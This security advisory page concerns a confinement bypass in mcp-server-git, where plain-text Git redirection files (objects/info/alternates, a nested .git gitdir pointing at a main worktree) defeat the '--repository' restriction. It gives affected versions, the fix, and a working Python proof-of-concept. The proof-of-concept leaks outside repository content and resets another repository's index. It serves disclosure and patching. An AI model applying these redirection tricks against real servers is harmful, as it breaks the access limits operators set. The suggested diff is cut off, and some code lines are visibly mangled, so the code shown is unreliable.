---
id: "GHSA-q74p-4wrc-q7w6"
page: "https://infrastack.ai/live/GHSA-q74p-4wrc-q7w6"
kind: "vulnerability"
aliases: ["GHSA-q74p-4wrc-q7w6"]
title: "mcp-server-git: Incomplete Fix for GHSA-w766-5x43-whvw in validate_opened_repo() Allows --repository Confinement Bypass via objects/info/alternates and Linked-Worktree common_dir Confusion"
severity: "medium"
cvss: 5.3
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "mcp-server-git", "fixed": ["2026.11.11"], "affected": ">= 2026.10.28, < 2026.11.11", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-200", "cwe-22", "git", "mcp", "mcp-server-git", "package", "python"]
not_affected_if: ["no-repository-flag", "posix-hosts-only-check", "read-only-clients"]
published_at: "2026-11-11T07:27:42+00:00"
first_seen_at: "2026-11-11T07:28:35+00:00"
updated_at: "2026-11-11T07:29:58+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q74p-4wrc-q7w6", "first_seen_at": "2026-11-11T07:28:35+00:00"}]
exploit_sources: []
---

# mcp-server-git: Incomplete Fix for GHSA-w766-5x43-whvw in validate_opened_repo() Allows --repository Confinement Bypass via objects/info/alternates and Linked-Worktree common_dir Confusion

Link for people: https://infrastack.ai/live/GHSA-q74p-4wrc-q7w6 (this .md is for agents)

The mcp-server-git Python package, run with --repository, can be tricked into reading and changing a Git repository outside the allowed directory using plain-text Git redirection files such as objects/info/alternates and a linked-worktree gitdir. An attacker who can write plain files inside the allowed repository can read outside commits and files, and reset or modify another repository's index.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:mcp-server-git affected >= 2026.10.28, < 2026.11.11 fixed 2026.11.11

## How to check

- Run `pip show mcp-server-git` and confirm the installed version is below `2026.11.11`.
- Check whether the server is started with `--repository` and whether any client can write files inside that repository.
- Look for `objects/info/alternates` or `objects/info/http-alternates` files inside repositories under the allowed path.

## Fix

- `mcp-server-git` `2026.11.11` or later (versions before `2026.10.28` are covered by GHSA-w766-5x43-whvw).

## Timeline

- 2026-11-11T07:28:35+00:00 ghsa-repo https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q74p-4wrc-q7w6

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q74p-4wrc-q7w6

## From the sources

## Patched versions

Fixed in `mcp-server-git` **2026.11.11** ([#5514](https://github.com/modelcontextprotocol/servers/pull/5514)). Upgrade to 2026.11.11 or later. Versions before 2026.10.28 are covered by GHSA-w766-5x43-whvw.

Under `--repository`, the fix closes both bypasses in this report and the class around them:

- A repository whose Git directory names an alternate object store (`objects/info/alternates` or `objects/info/http-alternates`, of any kind) is refused: under `--repository`, a repository reads only its own objects.
- A Git directory or common directory outside the allowed repository is accepted only when it is the allowed repository's own: every working tree must be the allowed repository, every Git directory its Git directory, and every common directory its common directory, each compared separately. A linked worktree's Git directory can no longer pass as the main repository's common directory.
- A symbolic link anywhere in a Git directory (at `objects`, `refs`, `index`, `HEAD` or elsewhere) that resolves outside both the allowed repository and that Git directory is refused. A link that stays inside is followed, and what it leads to is checked the same way, once per directory.

## Not covered by this fix

On Windows, a directory junction inside a repository's Git directory is not yet recognised as a link by that check, so it is walked like an ordinary directory instead of being judged by where it leads. This is tracked for a follow-up release. POSIX hosts are unaffected.

## Workarounds

None for affected versions other than upgrading. On Windows, until the follow-up ships, do not rely on `--repository` to confine the server against a client that can create junctions inside the allowed repository.

---

## Original report

## Summary

`GHSA-w766-5x43-whvw` ("`mcp-server-git`: nested gitdir file bypasses `--repository` confinement", published 2026-10-28) demonstrated that when `mcp-server-git` is started with `--repository <allowed>`, a caller able to write plain files inside `<allowed>` (for example via `@modelcontextprotocol/server-filesystem` `write_file`, with no symlink capability required) could place a `.git` redirection file inside `<allowed>/nested` to read and modify a repository outside `<allowed>`.

To remediate `GHSA-w766-5x43-whvw`, `validate_opened_repo()` was added in `src/git/src/mcp_server_git/server.py` (lines 418?474) to inspect `--git-dir`, `--git-common-dir`, and `--show-toplevel`. However, `validate_opened_repo()` on current `main` (`b711f8d3` / `194cc86e`) leaves two concrete `--repository` confinement bypasses under the exact same attack preconditions (plain-text file creation inside `<allowed>`, zero symlinks required):

1. **Cross-Repository Object Store Confinement Bypass via `<common_dir>/objects/info/alternates`**:
   - Like `.git` (`gitdir:`) and `commondir`, `<common_dir>/objects/info/alternates` is a standard plain-text Git redirection file that instructs both Git and GitPython (`GitCmdObjectDB`) to resolve and read objects (commits, trees, blobs) from external `.git/objects` directories on the host filesystem.
   - Because `objects/info/alternates` does not alter `--git-dir`, `--git-common-dir`, or `--show-toplevel`, `validate_opened_repo()` passes unconditionally when `<allowed>/nested/.git/objects/info/alternates` contains `/path/to/outside-repository/.git/objects`.
   - Subsequent tool calls (`git_show`, `git_diff`, `git_create_branch`, `git_log`, `git_checkout`) on `<allowed>/nested` read committed files and commit history from the outside repository.

2. **Linked-Worktree `git_dir` / `common_dir` Set Confusion (`own` in `validate_opened_repo`)**:
   - In `src/git/src/mcp_server_git/server.py` (lines 459?474):
     ```python
     escaped = [
         p
         for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))
         if not p.resolve().is_relative_to(allowed)
     ]
     if not escaped:
         return
     with git.Repo(allowed) as allowed_repo:
         own = {
             Path(allowed_repo.git_dir).resolve(),
             Path(allowed_repo.common_dir).resolve(),
         }
     for p in escaped:
         if p.resolve() not in own:
             raise outside(p)
     ```
   - When `--repository <worktree>` is a linked worktree of a main repository `<main>` (the configuration tested by `test_restricted_server_serves_a_linked_worktree`), `allowed_repo.common_dir` is `<main>/.git`.
   - Because `validate_opened_repo()` puts `allowed_repo.git_dir` and `allowed_repo.common_dir` into a single undirected set `own` and allows any nested path inside `<worktree>` to match either element, a caller who writes `gitdir: /path/to/main/.git` into `<worktree>/nested/.git` (the exact payload from `GHSA-w766-5x43-whvw`) passes `validate_opened_repo()` completely: `--show-toplevel` resolves to `<worktree>/nested` (inside `<worktree>`) and `git_dir` resolves to `<main>/.git` (which is in `own`).
   - Subsequent calls to `git_reset`, `git_add`, `git_commit`, or `git_checkout` on `<worktree>/nested` read and mutate `<main>`'s private per-worktree state (`HEAD`, `index`, `MERGE_HEAD`) outside the confined linked worktree.

---

## Minimal Benign Reproduction

```python
import tempfile, shutil
from pathlib import Path
import git
from mcp_server_git.server import (
    validate_repo_path,
    validate_opened_repo,
    git_show,
    git_create_branch,
    git_reset,
)

lab = Path(tempfile.mkdtemp(prefix="git-confinement-repro-"))
try:
    # 1. Bypass via plain-text .git/objects/info/alternates
    allowed = git.Repo.init(lab / "allowed", initial_branch="main")
    (lab / "allowed" / "a.txt").write_text("allowed
")
    allowed.index.add(["a.txt"])
    allowed.index.commit("init allowed")

    outside = git.Repo.init(lab / "outside", initial_branch="main")
    (lab / "outside" / "proof.txt").write_text("DUMMY-OUTSIDE-CONTENT
")
    outside.index.add(["proof.txt"])
    outside_commit = outside.index.commit("init outside")

    nested_alt_path = lab / "allowed" / "nested_alt"
    nested_alt = git.Repo.init(nested_alt_path, initial_branch="main")
    alt_file = Path(nested_alt.git_dir) / "objects" / "info" / "alternates"
    alt_file.parent.mkdir(parents=True, exist_ok=True)
    alt_file.write_bytes((Path(outside.git_dir) / "objects").as_posix().encode() + b"
")
    nested_alt.close()

    r1 = git.Repo(nested_alt_path)
    validate_repo_path(nested_alt_path, lab / "allowed")
    validate_opened_repo(r1, nested_alt_path, lab / "allowed")
    leaked = git_show(r1, f"{outside_commit.hexsha[:4]}:proof.txt")
    assert "DUMMY-OUTSIDE-CONTENT" in leaked
    r1.close()

    # 2. Bypass via linked-worktree git_dir / common_dir confusion in own
    (lab / "allowed" / "a.txt").write_text("staged-in-main
")
    allowed.index.add(["a.txt"])
    assert len(allowed.index.diff("HEAD")) == 1

    wt_path = lab / "worktree"
    allowed.git.worktree("add", str(wt_path), "-b", "wt-branch")

    nested_wt = wt_path / "nested"
    nested_wt.mkdir()
    (nested_wt / ".git").write_text(f"gitdir: {allowed.git_dir}
")

    r2 = git.Repo(nested_wt)
    validate_repo_path(nested_wt, wt_path)
    validate_opened_repo(r2, nested_wt, wt_path)
    git_reset(r2)  # Resets the main repository's index outside wt_path!
    assert len(allowed.index.diff("HEAD")) == 0
    r2.close()
    allowed.close()
    outside.close()
finally:
    shutil.rmtree(lab, ignore_errors=True)
```

---

## Suggested Remediation (`git diff`)

```diff
--- a/src/git/src/mcp_server_git/server.py
+++ b/src/git/src/mcp_server_git/server.py
@@ -456,21 +456,41 @@ def validate_opened_repo(
         if not working_tree.resolve().is_relative_to(allowed):
             raise outside(working_tree)
 
-    escaped = [
-        p
-        for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))
-        if not p.resolve().is_relative_to(allowed)
-    ]
-    if not escaped:
-        return
+    resolved_git_dirs = {Path(git_dir).resolve(), Path(repo.git_di

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
